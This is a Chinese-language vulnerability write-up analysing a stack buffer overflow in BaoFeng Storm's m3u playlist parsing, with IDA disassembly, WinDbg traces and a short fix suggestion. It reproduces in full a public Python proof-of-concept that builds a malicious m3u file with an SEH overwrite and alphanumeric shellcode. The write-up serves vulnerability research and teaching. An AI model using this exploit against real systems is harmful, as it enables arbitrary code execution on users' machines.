题目:简单分析暴风影音读取m3u格式文件漏洞

作者相关:
作者:仙果
网站:http://hi.baidu.com/zhanglinguo11
备注:保留版权,欢迎转载,转载请注明出处。

0x1.题记
0x2.测试环境
0x3.分析过程
0x4.补救方法
0x5.总结

0x1.题记
  某日惊见www.exploit-db网站上公布一则暴风影音的漏洞,是读取m3u格式文件的漏洞,
立即把POC下载回来测试之,发现对滴版本也有效,
对应版本弹出计算器,ShellCode 经过了处理,为纯字母的ShellCode,相当的劲爆啊,
因有工作的其他事情,没有当即进行分析,留到了今天把漏洞的原理进行了分析,
不敢独享,特来共享。文中难免有错漏之处,希望大家莫要在意,毕竟作者乃是半路出家,
实属不易,依然属于菜鸟一类,欢迎大家批评指正。

0x2.测试环境
  2.1 windows xp sp3_cn (实体机测试,没有使用虚拟机)
  2.2 Strom 2012_3.10.4.8_Cn
  2.3 010editor windbg IDA5.5
  
0x3.分析过程

  3.1 Poc代码
        http://www.exploit-db.com/exploits/12516

代码:
    #!/usr/bin/env python
  
  #################################################################
  #
  # Title: BaoFeng Storm M3U File Processing Buffer Overflow Exploit
  # CNVD-ID: CNVD-2010-00752
  # Author: Lufeng Li and Qingshan Li of Neusoft Corporation
  # Download: www.baofeng.com
  # Test: Put m3u file in root(e.g. c:/ d:/),and open this m3u file
  # Platform: Windows XPSP3 Chinese Simplified
  # Vulnerable: Storm2012 3.10.4.21
  # Storm2012 3.10.4.16
  # Storm2012 3.10.4.8
  # Storm2012 3.10.3.17
  # Storm2012 3.10.2.5
  # Storm2012 3.10.1.12
  #################################################################
  # Code :
  file= "baofeng.m3u"
  junk ="\x41"*795
  nseh="\x61\xe8\xe1"
  seh="\xaa\xd7\x40"
  
  jmp ="\x53\x53\x6d\x58\x6d\x05\x11\x22\x6d\x2d\x10\x22\x6d\xac\xe4"
  nops ="\x42" * 110
  shellcode=("PPYAIAIAIAIAQATAXAZAPA3QADAZA"
  "BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA"
  "58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB"
  "AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K"
  "22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL"
  "MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55"
  "Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V"
  "NQKONQ90***Q8OLMKQY7NXK0T5L4M33MKHOKSMND45JB"
  "R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT"
  "NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU"
  "89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM"
  "KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC"
  "QQ2LRCM0LJA")
  
  fobj=open(file,"w")
  payload=junk+nseh+seh+jmp+nops+shellcode
  fobj.write(payload)
  fobj.close()
3.2漏洞触发过程分析
  Windbg 附加 Storm.exe进程,并下ReadFile函数断点
  命令:bu kernel32!ReadFile
  把m3u格式的POC文件拖入到Storm窗口中,程序在ReadFile中断了下来,跳出函数来到
代码:
.text:10004052 ; =============== S U B R O U T I N E =======================================
.text:10004052
.text:10004052 ; Attributes: bp-based frame
.text:10004052
.text:10004052 ; int __cdecl sub_10004052(LPCWSTR lpFileName)
.text:10004052 sub_10004052    proc near               ; CODE XREF: sub_10003FCB+32p
.text:10004052
.text:10004052 Buffer          = byte ptr -40Ch
.text:10004052 NumberOfBytesRead= dword ptr -0Ch
.text:10004052 var_8           = byte ptr -8
.text:10004052 var_7           = byte ptr -7
.text:10004052 var_6           = byte ptr -6
.text:10004052 var_2           = byte ptr -2
.text:10004052 var_1           = byte ptr -1
.text:10004052 lpFileName      = dword ptr  8
.text:10004052
.text:10004052                 push    ebp
.text:10004053                 mov     ebp, esp
.text:10004055                 sub     esp, 40Ch
.text:1000405B                 push    ebx
.text:1000405C                 push    esi
.text:1000405D                 xor     ebx, ebx
.text:1000405F                 push    edi
.text:10004060                 push    ebx             ; hTemplateFile
.text:10004061                 push    80h             ; dwFlagsAndAttributes
.text:10004066                 push    3               ; dwCreationDisposition
.text:10004068                 push    ebx             ; lpSecurityAttributes
.text:10004069                 push    1
.text:1000406B                 pop     esi
.text:1000406C                 push    esi             ; dwShareMode
.text:1000406D                 push    80000000h       ; dwDesiredAccess
.text:10004072                 push    [ebp+lpFileName] ; lpFileName
.text:10004075                 call    ds:CreateFileW   //打开文件
.text:1000407B                 mov     edi, eax
.text:1000407D                 cmp     edi, 0FFFFFFFFh
.text:10004080                 jnz     short loc_10004089
.text:10004082                 xor     eax, eax
.text:10004084                 jmp     loc_10004146
.text:10004089 ; ---------------------------------------------------------------------------
.text:10004089
.text:10004089 loc_10004089:                           ; CODE XREF: sub_10004052+2Ej
.text:10004089                 lea     eax, [ebp+NumberOfBytesRead]
.text:1000408C                 push    ebx             ; lpOverlapped
.text:1000408D                 push    eax             ; lpNumberOfBytesRead
.text:1000408E                 lea     eax, [ebp+Buffer]
.text:10004094                 push    400h            ; nNumberOfBytesToRead
.text:10004099                 push    eax             ; lpBuffer         //读取的内容存到eax指向的内存中
.text:1000409A                 push    edi             ; hFile
.text:1000409B                 mov     [ebp+NumberOfBytesRead], ebx
.text:1000409E                 call    ds:ReadFile                //在这里读取文件内容
.text:100040A4                 test    eax, eax
.text:100040A6                 jz      loc_1000413B
.text:100040CA                 mov     cl, [ebp+eax+Buffer]
.text:100040D1                 cmp     cl, [ebp+eax+var_8]
.text:100040D5                 jnz     short loc_10004123
.text:100040D7                 inc     eax
.text:100040D8                 cmp     eax, 3
.text:100040DB                 jb      short loc_100040CA
.text:100040DD                 xor     eax, eax
.text:100040DF loc_100040DF:                           ; CODE XREF: sub_10004052+9Ej
.text:100040DF                 mov     cl, [ebp+eax+Buffer] //读取文件的首字节
.text:100040E6                 cmp     cl, byte ptr [ebp+eax+lpFileName+2] //判断是否为UTF-8编码
.text:100040EA                 jnz     short loc_10004123        //不是则跳往loc_10004123执行
.text:100040EC                 inc     eax
.text:100040ED                 cmp     eax, 2
.text:100040F0                 jb      short loc_100040DF
.text:100040F2                 xor     eax, eax
..................................................................................

.text:10004123 ; ---------------------------------------------------------------------------
.text:10004123
.text:10004123 loc_10004123:                           ; CODE XREF: sub_10004052+83j
.text:10004123                                         ; sub_10004052+98j ...
.text:10004123                 xor     eax, eax
.text:10004125                 cmp     [ebp+NumberOfBytesRead], ebx
.text:10004128                 jbe     short loc_1000413D
.text:1000412A
.text:1000412A loc_1000412A:                           ; CODE XREF: sub_10004052+E5j
.text:1000412A                 cmp     [ebp+eax+Buffer], bl
.text:10004131                 jz      short loc_1000413B
.text:10004133                 inc     eax
.text:10004134                 cmp     eax, [ebp+NumberOfBytesRead]
.text:10004137                 jb      short loc_1000412A
.text:10004139                 jmp     short loc_1000413D
.text:1000413B ; ---------------------------------------------------------------------------
.text:1000413B
.text:1000413B loc_1000413B:                           ; CODE XREF: sub_10004052+54j
.text:1000413B                                         ; sub_10004052+C6j ...
.text:1000413B                 xor     esi, esi
.text:1000413D
.text:1000413D loc_1000413D:                           ; CODE XREF: sub_10004052+BCj
.text:1000413D                                         ; sub_10004052+CFj ...
.text:1000413D                 push    edi             ; hObject        //读取缓冲区大小eax=0x400
.text:1000413E                 call    ds:CloseHandle                    //关闭文件句柄
.text:10004144                 mov     eax, esi
.text:10004146
.text:10004146 loc_10004146:                           ; CODE XREF: sub_10004052+32j
.text:10004146                 pop     edi
.text:10004147                 pop     esi
.text:10004148                 pop     ebx
.text:10004149                 leave
.text:1000414A                 retn
.text:1000414A sub_10004052    endp         //跳出函数
//////////////////
以上函数是打开POC文件,并把1M大小的内容读取到内存中。
///////////////////

接下来接着分析

代码:
.text:10003FFC                 push    ebx             ; lpFileName
.text:10003FFD                 call    sub_10004052   //在这里调用之前的函数
.text:10004002                 test    eax, eax
.text:10004004                 pop     ecx
.text:10004005                 jnz     short loc_10004018 //跳转到loc_10004018执行
.text:10004007
.text:10004007 loc_10004007:                           ; CODE XREF: sub_10003FCB+24j
.text:10004007                 add     esi, 4
.text:1000400A                 cmp     esi, offset a_smpl ; ".smpl"
.text:10004010                 jb      short loc_10003FE4
.text:10004012
.text:10004012 loc_10004012:                           ; CODE XREF: sub_10003FCB+9j
.text:10004012                 xor     eax, eax
.text:10004014
.text:10004014 loc_10004014:                           ; CODE XREF: sub_10003FCB+50j
.text:10004014                 pop     edi
.text:10004015                 pop     esi
.text:10004016                 pop     ebx
.text:10004017                 retn              //跳出函数
.text:10004018 ; ---------------------------------------------------------------------------
.text:10004018
.text:10004018 loc_10004018:                           ; CODE XREF: sub_10003FCB+2Fj
.text:10004018                                         ; sub_10003FCB+3Aj
.text:10004018                 push    1
.text:1000401A                 pop     eax
.text:1000401B                 jmp     short loc_10004014
.text:1000401B sub_10003FCB    endp
程序返回
..........................................

代码:
.text:10005FC2                 push    ebx             ; lpFileName
.text:10005FC3                 mov     edi, eax
.text:10005FC5                 call    sub_10003FCB  //在此处调用sub_10003FCB函数。
.text:10005FCA                 test    eax, eax
.text:10005FCC                 pop     ecx
.text:10005FCD                 jz      loc_100062B1
.text:10005FD3                 mov     al, byte ptr [ebp+arg_4+3]
.text:10005FD6                 push    esi
.text:10005FD7                 push    esi
.text:10005FD8                 lea     ecx, [ebp+pcchPath]
.text:10005FDB                 mov     byte ptr [ebp+pcchPath], al
.text:10005FDE                 call    sub_10002B49
.text:10005FE3                 mov     [ebp+var_14], eax
.text:10005FE6                 mov     [ebp+var_10], esi
.text:10005FE9                 mov     [ebp+var_4], esi
.text:10005FEC                 mov     esi, ds:StrCmpIW
.text:10005FF2                 push    offset a_wax    ; ".wax"
.text:10005FF7                 push    edi
.text:10005FF8                 call    esi ; StrCmpIW
.text:10005FFA                 test    eax, eax
.text:10005FFC                 jz      loc_100060E0
.text:10006002                 push    offset a_asx    ; ".asx"
接下来是一连串的比较指令,这里进行忽略处理。

代码:
.text:1000604D loc_1000604D:                           ; CODE XREF: sub_10005F7F+BDj
.text:1000604D                 push    offset a_m3u    ; ".m3u" //找到对应的m3u
.text:10006052                 push    edi
.text:10006053                 call    esi ; StrCmpIW
.text:10006055                 test    eax, eax
.text:10006057                 jnz     short loc_10006068
.text:10006059                 lea     eax, [ebp+pcchPath]
.text:1000605C                 push    eax             ; int
.text:1000605D                 push    ebx             ; File
.text:1000605E                 call    sub_1000696C   //此函数把后续的内容读取到内存中,并以unicode格式存放。
.text:10006063                 jmp     loc_1000610A
.........................................
text:1000610A loc_1000610A:                           ; CODE XREF: sub_10005F7F+C9j
.text:1000610A                                         ; sub_10005F7F+E4j ...
.text:1000610A                 pop     ecx
.text:1000610B                 test    eax, eax
.text:1000610D                 pop     ecx
.text:1000610E                 jnz     short loc_10006117
.......................
text:10006117 ; ---------------------------------------------------------------------------
.text:10006117
.text:10006117 loc_10006117:                           ; CODE XREF: sub_10005F7F+16Fj
.text:10006117                                         ; sub_10005F7F+17Fj ...
.text:10006117                 mov     edi, ds:StrCpyNW
.text:1000611D                 push    823h
.text:10006122                 lea     eax, [ebp+pszPath]
.text:10006128                 push    ebx
.text:10006129                 push    eax
.text:1000612A                 call    edi ; StrCpyNW
.text:1000612C                 lea     eax, [ebp+pszPath]
.text:10006132                 xor     ebx, ebx
.text:10006134                 push    eax             ; pszPath
.text:10006135                 mov     [ebp+lpFileName], ebx
.text:10006138                 call    ds:PathIsURLW
.text:1000613E                 test    eax, eax
.text:10006140                 jz      short loc_10006164
........................................
.text:10006164 ; ---------------------------------------------------------------------------
.text:10006164
.text:10006164 loc_10006164:                           ; CODE XREF: sub_10005F7F+1C1j
.text:10006164                 lea     eax, [ebp+pszPath]
.text:1000616A                 push    eax             ; pszPath
.text:1000616B                 call    ds:PathRemoveFileSpecW
.text:10006171                 lea     eax, [ebp+pszPath]
.text:10006177                 push    eax             ; pszPath
.text:10006178                 call    ds:PathAddBackslashW
.text:1000617E
.text:1000617E loc_1000617E:                           ; CODE XREF: sub_10005F7F+1E3j
.text:1000617E                 cmp     [ebp+var_10], ebx
.text:10006181                 jnz     short loc_10006198
..............................
.text:10006198 ; ---------------------------------------------------------------------------
.text:10006198
.text:10006198 loc_10006198:                           ; CODE XREF: sub_10005F7F+202j
.text:10006198                 mov     eax, [ebp+var_14]
.text:1000619B                 mov     esi, [eax]
.text:1000619D                 cmp     esi, eax
.text:1000619F                 jz      loc_100062A1
.text:100061A5
.text:100061A5 loc_100061A5:                           ; CODE XREF: sub_10005F7F+31Cj
.text:100061A5                 cmp     [ebp+lpFileName], ebx
.text:100061A8                 jnz     loc_10006259
.text:100061AE                 mov     eax, [esi+0Ch]       //[esi+0c]的地址指向UNICODE格式的填充的数据地址
.text:100061B1                 cmp     eax, ebx
.text:100061B3                 jnz     short loc_100061BA
......................................
.text:100061BA
.text:100061BA loc_100061BA:                           ; CODE XREF: sub_10005F7F+234j
.text:100061BA                 push    eax             ; pszPath
.text:100061BB                 call    ds:PathIsURLW
.text:100061C1                 test    eax, eax
.text:100061C3                 jnz     short loc_100061F6
.text:100061C5                 lea     eax, [ebp+pszPath]
.text:100061CB                 push    208h
.text:100061D0                 push    eax
.text:100061D1                 lea     eax, [ebp+var_648]
.text:100061D7                 push    eax
.text:100061D8                 call    edi ; StrCpyNW
.text:100061DA                 mov     eax, [esi+0Ch]
.text:100061DD                 cmp     eax, ebx
.text:100061DF                 jnz     short loc_100061E6
.............................
.text:100061E6
.text:100061E6 loc_100061E6:                           ; CODE XREF: sub_10005F7F+260j
.text:100061E6                 push    eax
.text:100061E7                 lea     eax, [ebp+var_648]
.text:100061ED                 push    eax
.text:100061EE                 call    ds:StrCatW                      //覆盖了函数的返回地址
.text:100061F4                 jmp     short loc_10006211
..................................................
.text:10006211
.text:10006211 loc_10006211:                           ; CODE XREF: sub_10005F7F+275j
.text:10006211                 lea     eax, [ebp+var_648]
.text:10006217                 push    eax             ; pszPath
.text:10006218                 lea     eax, [ebp+psz]
.text:1000621E                 push    eax             ; pszBuf
.text:1000621F                 call    ds:PathCanonicalizeW
.text:10006225                 lea     ecx, [ebp+var_30]
.text:10006228                 call    sub_10001DD7
.text:1000622D                 mov     ecx, [ebp+arg_4]
.text:10006230                 lea     eax, [ebp+var_30]
.text:10006233                 push    eax
.text:10006234                 mov     byte ptr [ebp+var_4], 1
.text:10006238                 call    sub_10002680                     //在这个函数中进行报错。
现在进去sub_10002680 这个函数中查看是如何触发错误的,
之前可以看到程序的函数返回地址已经被覆盖 如下形式
代码:
0:000> kn 10
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0012f3a0 00410041 medialib+0x6238
01 0012f3a4 00410041 Storm+0x10041
02 0012f3a8 00410041 Storm+0x10041
03 0012f3ac 00410041 Storm+0x10041
04 0012f3b0 00410041 Storm+0x10041
05 0012f3b4 00410041 Storm+0x10041
06 0012f3b8 00410041 Storm+0x10041
07 0012f3bc 00410041 Storm+0x10041
08 0012f3c0 00410041 Storm+0x10041
09 0012f3c4 00410041 Storm+0x10041
0a 0012f3c8 00410041 Storm+0x10041
0b 0012f3cc 00410041 Storm+0x10041
0c 0012f3d0 00410041 Storm+0x10041
0d 0012f3d4 00410041 Storm+0x10041
0e 0012f3d8 00410041 Storm+0x10041
0f 0012f3dc 00410041 Storm+0x10041
代码:
sub_10002680:
.text:10002680 sub_10002680    proc near               ; CODE XREF: sub_10004255+DEp
.text:10002680                                         ; sub_10004255+118p ...
.text:10002680
.text:10002680 var_20          = dword ptr -20h
.text:10002680 var_1C          = dword ptr -1Ch
.text:10002680 var_18          = dword ptr -18h
.text:10002680 var_14          = dword ptr -14h
.text:10002680 var_10          = dword ptr -10h
.text:10002680 var_C           = dword ptr -0Ch
.text:10002680 var_4           = dword ptr -4
.text:10002680 arg_0           = dword ptr  8
.text:10002680
.text:10002680                 mov     eax, offset sub_10023208
.text:10002685                 call    __EH_prolog
.text:1000268A                 sub     esp, 14h
.text:1000268D                 push    ebx
.text:1000268E                 push    esi
.text:1000268F                 mov     esi, ecx
.text:10002691                 xor     ebx, ebx
.text:10002693                 push    edi
.text:10002694                 mov     eax, [esi+8]
.text:10002697                 cmp     eax, ebx
.text:10002699                 jz      loc_10002727
.text:1000269F                 lea     edx, [ebp+var_18]
.text:100026A2                 mov     [ebp+var_18], ebx
.text:100026A5                 mov     ecx, [eax]       //在此处报错
.text:100026A7                 push    edx
....................
当断点在027a6238 call    medialib+0x2680 (027a2680)
寄存器为
代码:
0:000> r
eax=0012f370 ebx=00000000 ecx=00410041 edx=0012e946 esi=02e81620 edi=77f46753
eip=027a6238 esp=0012d6e8 ebp=0012f3a0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
medialib+0x6238:
027a6238 e843c4ffff      call    medialib+0x2680 (027a2680)
其中
0:000> r eax
eax=0012f370
0:000> r ecx
ecx=00410041
0:000> d ecx
00410041  5a 00 8d 4c 24 18 89 74-24 1c e8 4c e4 12 00 8b  Z..L$..t$..L....
00410051  7c 24 30 83 c9 ff 33 c0-bd 01 00 00 00 f2 ae 8b  |$0...3.........
00410061  44 24 34 89 6c 24 24 f7-d1 49 c6 44 24 13 00 8b  D$4.l$$..I.D$...
00410071  f9 3b f8 7e 07 8b f8 c6-44 24 13 01 3b fe 7e 48  .;.~....D$..;.~H
00410081  8b 44 24 30 8a 1c 06 80-fb 80 88 5c 24 34 72 04  .D$0.......\$4r.
00410091  3b ef 7d 34 8b 4c 24 34-51 8d 4c 24 18 e8 9d e5  ;.}4.L$4Q.L$....
004100a1  12 00 80 fb 80 72 1b 8b-54 24 30 46 45 8a 04 16  .....r..T$0FE...
004100b1  88 44 24 34 8b 4c 24 34-51 8d 4c 24 18 e8 7d e5  .D$4.L$4Q.L$..}.
0:000> d eax
0012f370  f0 65 7c 02 00 00 00 00-00 00 00 00 41 00 41 00  .e|.........A.A.
0012f380  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0012f390  41 00 41 00 41 00 41 00-41 00 41 00 01 00 41 00  A.A.A.A.A.A...A.
0012f3a0  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0012f3b0  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0012f3c0  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0012f3d0  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0012f3e0  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A
以下为windbg调试代码

代码:
027a2680 b808327c02      mov     eax,offset medialib!DllUnregisterServer+0x145a4 (027c3208)
027a2685 e8a6040200      call    medialib!DllUnregisterServer+0x13ecc (027c2b30)
027a268a 83ec14          sub     esp,14h
027a268d 53              push    ebx
027a268e 56              push    esi
027a268f 8bf1            mov     esi,ecx
027a2691 33db            xor     ebx,ebx
027a2693 57              push    edi
027a2694 8b4608          mov     eax,dword ptr [esi+8]
027a2697 3bc3            cmp     eax,ebx
027a2699 0f8488000000    je      medialib+0x2727 (027a2727)
027a269f 8d55e8          lea     edx,[ebp-18h]
027a26a2 895de8          mov     dword ptr [ebp-18h],ebx
027a26a5 8b08            mov     ecx,dword ptr [eax]  ds:0023:4ce81c24=????????
从中可以看出
代码:
esi=ecx=0x00410041
eax=[esi+8]=[0x00410041+8]=  0x4ce81c24
在0x4ce81c24中不存在任何数据,程序在此报错。

3.3 漏洞触发原理分析
代码:
027a61b5 a1c8617c02      mov     eax,dword ptr [medialib!DllUnregisterServer+0x17564 (027c61c8)]
027a61ba 50              push    eax
027a61bb ff1510637c02    call    dword ptr [medialib!DllUnregisterServer+0x176ac (027c6310)]
027a61c1 85c0            test    eax,eax
027a61c3 7531            jne     medialib+0x61f6 (027a61f6)
027a61c5 8d8558e3ffff    lea     eax,[ebp-1CA8h]
027a61cb 6808020000      push    208h
027a61d0 50              push    eax
027a61d1 8d85b8f9ffff    lea     eax,[ebp-648h]
027a61d7 50              push    eax
027a61d8 ffd7            call    edi {SHLWAPI!StrCpyNW (77f46753)}  //从缓冲区中拷贝0x208个字节到eax中,
027a61da 8b460c          mov     eax,dword ptr [esi+0Ch]
027a61dd 3bc3            cmp     eax,ebx
027a61df 7505            jne     medialib+0x61e6 (027a61e6)
027a61e1 a1c8617c02      mov     eax,dword ptr [medialib!DllUnregisterServer+0x17564 (027c61c8)]
027a61e6 50              push    eax
027a61e7 8d85b8f9ffff    lea     eax,[ebp-648h]
027a61ed 50              push    eax
027a61ee ff152c637c02    call    dword ptr [medialib!DllUnregisterServer+0x176c8 (027c632c)] ds:0023:027c632c={SHLWAPI!Shlwapi_StrCatW (77f50486)}
027a61f4 eb1b            jmp     medialib+0x6211 (027a6211)


执行到027a61ba
0:000> r
eax=0169e14a ebx=00000000 ecx=7c809ad6 edx=0012d6fa esi=02ec13b0 edi=77f46753
eip=027a61ba esp=0012d6ec ebp=0012f3a0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
medialib+0x61ba:
027a61ba 50              push    eax
0:000> d eax
0169e14a  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0169e15a  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0169e16a  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0169e17a  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0169e18a  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0169e19a  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0169e1aa  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0169e1ba  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.

eax指向POC文件内容的缓冲区,大小为文件大小。

执行至027a61cb时
0:000> r
eax=0012d6f8 ebx=00000000 ecx=00000000 edx=0012d6fa esi=02ec13b0 edi=77f46753
eip=027a61cb esp=0012d6ec ebp=0012f3a0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
medialib+0x61cb:
027a61cb 6808020000      push    208h
0:000> d eax
0012d6f8  44 00 3a 00 5c 00 00 00-61 00 6f 00 66 00 65 00  D.:.\...a.o.f.e.
0012d708  6e 00 67 00 2e 00 6d 00-33 00 75 00 00 00 03 15  n.g...m.3.u.....
0012d718  44 7c ac 5c 01 86 18 0d-6b 4c 91 8f 18 d1 1d 43  D|.\....kL.....C
0012d728  48 4e 86 2e 18 0a 24 cb-54 7a f7 48 b9 f6 cd ae  HN....$.Tz.H....
0012d738  2e 74 1c 3f 22 09 02 2f-cb 9d eb 81 f0 8f 49 53  .t.?"../......IS
0012d748  80 85 1d 99 a1 d2 04 46-e3 37 34 43 e5 05 5f 86  .......F.74C.._.
0012d758  be d8 a0 8e 75 96 f3 a6-a9 f1 7b e9 ea 40 a4 55  ....u.....{..@.U
0012d768  2d 09 b7 aa 2c f2 21 0f-7f c8 91 fd 17 b8 aa 65  -...,.!........e

[eax]={44 00 3a 00 5c 00}="D.:.\."

执行到027a61dd 时:
0:000> r
eax=0169e352 ebx=00000000 ecx=0012d700 edx=00000204 esi=02e810f8 edi=77f46753
eip=027a61dd esp=0012d6ec ebp=0012f3a0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
medialib+0x61dd:
027a61dd 3bc3            cmp     eax,ebx
0:000> d eax
0169e352  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0169e362  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0169e372  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0169e382  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0169e392  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0169e3a2  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0169e3b2  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0169e3c2  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.

eax为文件内容的缓冲区指针

执行到027a61ed时
0:000> r
eax=0012ed58 ebx=00000000 ecx=0012d700 edx=00000204 esi=02e810f8 edi=77f46753
eip=027a61ed esp=0012d6e8 ebp=0012f3a0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
medialib+0x61ed:
027a61ed 50              push    eax
0:000> d eax
0012ed58  44 00 3a 00 5c 00 00 00-01 03 10 00 bb 01 93 7c  D.:.\..........|
0012ed68  00 00 00 00 b8 00 d5 00-e0 50 88 7c bc 52 25 00  .........P.|.R%.
0012ed78  e0 10 2d 76 b8 c1 1b 00-00 40 fd 7f 00 00 00 00  ..-v.....@......
0012ed88  78 01 15 00 00 00 00 00-00 00 00 00 bc b4 e6 77  x..............w
0012ed98  38 b8 1b 00 0c 00 00 00-00 00 00 00 dc ec 12 00  8...............
0012eda8  00 00 00 00 78 01 15 00-00 e9 92 7c c0 b9 1b 00  ....x......|....
0012edb8  0c 00 00 00 00 00 00 00-02 00 00 00 54 e3 7c 02  ............T.|.
0012edc8  00 00 00 00 bc 9f 72 01-0f b3 e6 77 00 00 00 00  ......r....w....
eax指向,POC文件所在的盘符

执行到027a61ee时
直接调用Shlwapi_StrCatW,把盘符和文件内容以Unicode格式的形式连接起来,并没有对文件长度进行判断,
执行后,
栈0012ed58往下的内存都被填充为0x00410041,由此覆盖了程序的返回地址,经过观察若继续增加填充的数据可以填充到系统的
异常处理链表(SEH)。

0x4.补救方法
   补救方法很简单在使用Shlwapi_StrCatW函数之前,增加一个判断文件内容大小的代码,若大于一定数值则退出此函数
   或者使用别的函数比如安全函数如:Strncpy

0x5.总结
  至此这个漏洞成因就分析完毕,为一个堆栈溢出,现在还会出现堆栈溢出还真是奇迹,很久没有碰到了,算是复习下以前的知识了。
  发现除了strcpy memcpy容易引起缓冲区溢出的函数之外strcat也可以触发溢出漏洞。
  
  文中有错误之处欢迎大家指正。
MediaLib.dll.idb.zip
MediaLib.dll.zip
简单分析暴风影音读取m3u格式文件漏洞.zip
baofeng.m3u.zip